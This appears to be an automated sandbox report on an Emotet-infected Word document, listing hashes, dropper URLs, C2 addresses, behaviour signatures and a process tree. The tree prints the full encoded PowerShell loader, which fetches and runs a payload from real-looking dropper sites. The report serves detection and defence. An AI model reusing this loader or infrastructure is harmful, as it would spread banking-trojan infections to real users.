emotet | 264f156089ff7461e11a9a20cd1708e12c6495c82966c6fb49b430ed4ebade27

General

Target
emotet_e3_264f156089ff7461e11a9a20cd1708e12c6495c82966c6fb49b430ed4ebade27_2020-08-13__093859._doc.doc
Size 228KB
Sample200813-5b3gec1ac2
SHA256 264f156089ff7461e11a9a20cd1708e12c6495c82966c6fb49b430ed4ebade27
MD5 675276dc7febad7b6ee9cc4800aecea1
SHA1 4259c2fbf772e3487befa7efd4ed7101b570aa21
SHA512 fe079d8023133bfa9905bad5d15cd904403157031caa0d00fecd0661b2dd3344255c7efa9a4e3595f32412f6dffe5393c1beffc001b7dadb7a6d6126a20ab4d1
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://speranza2000.com/wp-content/XnOLQdAmO/
exe.dropper
https://mamelina.com/wp-content/Dx2adk65/
exe.dropper
https://viralstyle.shop/jrfgw/LIQh0u72140141593/
exe.dropper
https://site.inquima.com.br/plugins/fOT86n0a63050/
exe.dropper
http://trainings.smartscape.eu/wp-admin/Ekybgo2d13356/

Extracted

Family

emotet

C2

176.216.226.44:80
159.203.232.29:8080
185.86.148.68:443
87.106.231.60:8080
113.161.148.81:80
78.189.60.109:443
192.163.221.191:8080
31.146.61.34:80
37.70.131.107:80
153.220.182.49:80
177.144.130.105:443
181.167.35.84:80
202.5.47.71:80
192.241.220.183:8080
78.188.170.128:80
182.176.95.147:80
87.252.100.28:80
115.78.11.155:80
212.156.133.218:80
203.153.216.178:7080
77.74.78.80:443
216.75.37.196:8080
195.201.56.70:8080
115.165.3.213:80
217.199.160.224:8080
105.213.67.88:80
190.55.233.156:80
91.83.93.103:443
181.164.110.7:80
51.38.201.19:7080
50.116.78.109:8080
178.33.167.120:8080
176.9.93.82:7080
192.210.217.94:8080
113.160.180.109:80
75.139.38.211:80
157.7.164.178:8081
190.164.75.175:80
182.187.139.200:8080
172.96.190.154:8080
37.46.129.215:8080
201.235.10.215:80
188.166.25.84:8080
181.113.229.139:443
139.99.157.213:8080
5.79.70.250:8080
190.190.15.20:80
212.112.113.235:80
143.95.101.72:8080
81.17.93.134:80
172.105.78.244:8080
46.105.131.68:8080
105.209.235.113:8080
92.24.51.238:80
163.172.107.70:8080
187.64.128.197:80
188.251.213.180:443
81.214.253.80:443
181.134.9.162:80
185.208.226.142:8080
46.32.229.152:8080
188.0.135.237:80
41.185.29.128:8080
179.5.118.12:80
177.37.81.212:443
107.161.30.122:8080
198.57.203.63:8080
114.173.201.110:80
97.104.107.190:80
139.59.12.63:8080
185.142.236.163:443
203.153.216.182:7080
75.127.14.170:8080
74.208.173.91:8080
115.79.195.246:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3656	388	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3816-13-0x0000000002380000-0x000000000238C000-memory.dmp	emotet
behavioral2/memory/3816-13-0x0000000002380000-0x000000000238C000-memory.dmp	emotet
behavioral2/memory/1880-16-0x0000000003E30000-0x0000000003E3C000-memory.dmp	emotet
behavioral2/memory/1880-16-0x0000000003E30000-0x0000000003E3C000-memory.dmp	emotet

Blacklisted process makes network request 5 IoCs

flow	pid	Process
23	3656	powersheLL.exe
25	3656	powersheLL.exe
26	3656	powersheLL.exe
28	3656	powersheLL.exe
30	3656	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3816	357.exe
1880	PimIndexMaintenanceClient.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\mfvdsp\PimIndexMaintenanceClient.exe	357.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4040	WINWORD.EXE
4040	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3656	powersheLL.exe
3656	powersheLL.exe
3656	powersheLL.exe
1880	PimIndexMaintenanceClient.exe
1880	PimIndexMaintenanceClient.exe
1880	PimIndexMaintenanceClient.exe
1880	PimIndexMaintenanceClient.exe
1880	PimIndexMaintenanceClient.exe
1880	PimIndexMaintenanceClient.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3656	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
4040	WINWORD.EXE
4040	WINWORD.EXE
4040	WINWORD.EXE
4040	WINWORD.EXE
4040	WINWORD.EXE
4040	WINWORD.EXE
4040	WINWORD.EXE
4040	WINWORD.EXE
4040	WINWORD.EXE
3816	357.exe
3816	357.exe
1880	PimIndexMaintenanceClient.exe
1880	PimIndexMaintenanceClient.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3656 wrote to memory of 3816	3656	powersheLL.exe	77
PID 3656 wrote to memory of 3816	3656	powersheLL.exe	77
PID 3656 wrote to memory of 3816	3656	powersheLL.exe	77
PID 3816 wrote to memory of 1880	3816	357.exe	78
PID 3816 wrote to memory of 1880	3816	357.exe	78
PID 3816 wrote to memory of 1880	3816	357.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_264f156089ff7461e11a9a20cd1708e12c6495c82966c6fb49b430ed4ebade27_2020-08-13__093859._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4040

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABYAFcARQBJAFkAZgBvAHUAPQAnAEkAVwBPAE4AVgBtAGYAdAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYABDAGAAVQByAGAASQBgAFQAWQBQAHIAbwB0AG8AYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABZAFIARgBVAEIAZABwAGEAIAA9ACAAJwAzADUANwAnADsAJABZAEIATwBPAEgAbABqAHcAPQAnAFcAVgBWAFcATQBkAGkAeAAnADsAJABZAE4ATgBHAFUAdABuAGoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFkAUgBGAFUAQgBkAHAAYQArACcALgBlAHgAZQAnADsAJABQAFAASABTAFoAcwBmAG0APQAnAEsAVwBUAFAASQB1AHUAYwAnADsAJABJAEIAUgBCAEcAaAByAHgAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AdwBlAGIAYwBsAEkAZQBuAFQAOwAkAEUAVgBIAEIAUgB0AGgAbgA9ACcAaAB0AHQAcAA6AC8ALwBzAHAAZQByAGEAbgB6AGEAMgAwADAAMAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFgAbgBPAEwAUQBkAEEAbQBPAC8AKgBoAHQAdABwAHMAOgAvAC8AbQBhAG0AZQBsAGkAbgBhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ARAB4ADIAYQBkAGsANgA1AC8AKgBoAHQAdABwAHMAOgAvAC8AdgBpAHIAYQBsAHMAdAB5AGwAZQAuAHMAaABvAHAALwBqAHIAZgBnAHcALwBMAEkAUQBoADAAdQA3ADIAMQA0ADAAMQA0ADEANQA5ADMALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGkAdABlAC4AaQBuAHEAdQBpAG0AYQAuAGMAbwBtAC4AYgByAC8AcABsAHUAZwBpAG4AcwAvAGYATwBUADgANgBuADAAYQA2ADMAMAA1ADAALwAqAGgAdAB0AHAAOgAvAC8AdAByAGEAaQBuAGkAbgBnAHMALgBzAG0AYQByAHQAcwBjAGEAcABlAC4AZQB1AC8AdwBwAC0AYQBkAG0AaQBuAC8ARQBrAHkAYgBnAG8AMgBkADEAMwAzADUANgAvACcALgAiAHMAYABQAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASgBJAFcAVwBQAGoAegB4AD0AJwBOAEEAQgBKAE0AbwBnAGQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFIAVwBaAE0ATQBlAGcAdQAgAGkAbgAgACQARQBWAEgAQgBSAHQAaABuACkAewB0AHIAeQB7ACQASQBCAFIAQgBHAGgAcgB4AC4AIgBkAE8AYABXAG4ATABvAGEAYABkAGAARgBpAGwAZQAiACgAJABSAFcAWgBNAE0AZQBnAHUALAAgACQAWQBOAE4ARwBVAHQAbgBqACkAOwAkAE4ARgBCAFYASQB1AHMAeQA9ACcAVgBIAE0AQQBDAGsAZQB5ACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAWQBOAE4ARwBVAHQAbgBqACkALgAiAEwARQBuAGAARwBUAEgAIgAgAC0AZwBlACAAMwAxADYANAA1ACkAIAB7AC4AKAAnAEkAJwArACcAbgAnACsAJwB2ACcAKwAnAG8AawBlAC0ASQB0AGUAbQAnACkAKAAkAFkATgBOAEcAVQB0AG4AagApADsAJABTAEEAWQBTAEIAbgByAG0APQAnAEIASgBFAEoARgBhAGcAdwAnADsAYgByAGUAYQBrADsAJABPAFoAQgBFAFEAagBkAHEAPQAnAE4AWQBSAEUATgB6AGUAawAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAE4AWgBIAFIAaQBiAHcAPQAnAFIAWABIAFoAVgBvAGcAawAnAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3656
- C:\Users\Admin\357.exe
  "C:\Users\Admin\357.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3816
- - C:\Windows\SysWOW64\mfvdsp\PimIndexMaintenanceClient.exe
    "C:\Windows\SysWOW64\mfvdsp\PimIndexMaintenanceClient.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1880

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1880-16-0x0000000003E30000-0x0000000003E3C000-memory.dmp

Download

memory/3656-7-0x00007FFB53250000-0x00007FFB53C3C000-memory.dmp

Download

memory/3656-8-0x000001BC9BA00000-0x000001BC9BA01000-memory.dmp

Download

memory/3656-9-0x000001BC9BBE0000-0x000001BC9BBE1000-memory.dmp

Download

memory/3816-13-0x0000000002380000-0x000000000238C000-memory.dmp

Download

memory/4040-0-0x00007FFB5AFD0000-0x00007FFB5B696000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads